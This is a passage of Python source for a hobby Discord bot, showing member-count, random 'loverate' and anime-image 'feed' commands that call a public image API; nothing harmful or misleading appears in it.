except Exception as e:
await ctx.send(f"❌ An error occurred: {e}")
#member count
@darks.command(aliases=["mc"])
async def member_count(ctx):
a=ctx.guild.member_count
await ctx.send(f"Members in {ctx.guild.name}\n{a}")
# LOVE
@darks.command()
@commands.cooldown(1, 5, commands.BucketType.user)
async def loverate(ctx, User: discord.Member = None):
if User is None:
await ctx.reply(f"- **[+]** `PROVIDE A USER`")
else:
rate = random.randint(0, 100)
await ctx.reply(
f"- **[+]** ` YOU AND `{User.mention} `ARE {rate}% PERFECT FOR EACH OTHER <3`"
)
print(f"{Fore.GREEN}[+] LOVERATE MEASURED 💖 ")
# FEED
@darks.command()
async def feed(ctx, user: discord.Member = None, *message):
await ctx.message.delete()
if user is None:
user = ctx.author
try:
r = requests.get("https://nekos.life/api/v2/img/feed")
res = r.json()
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()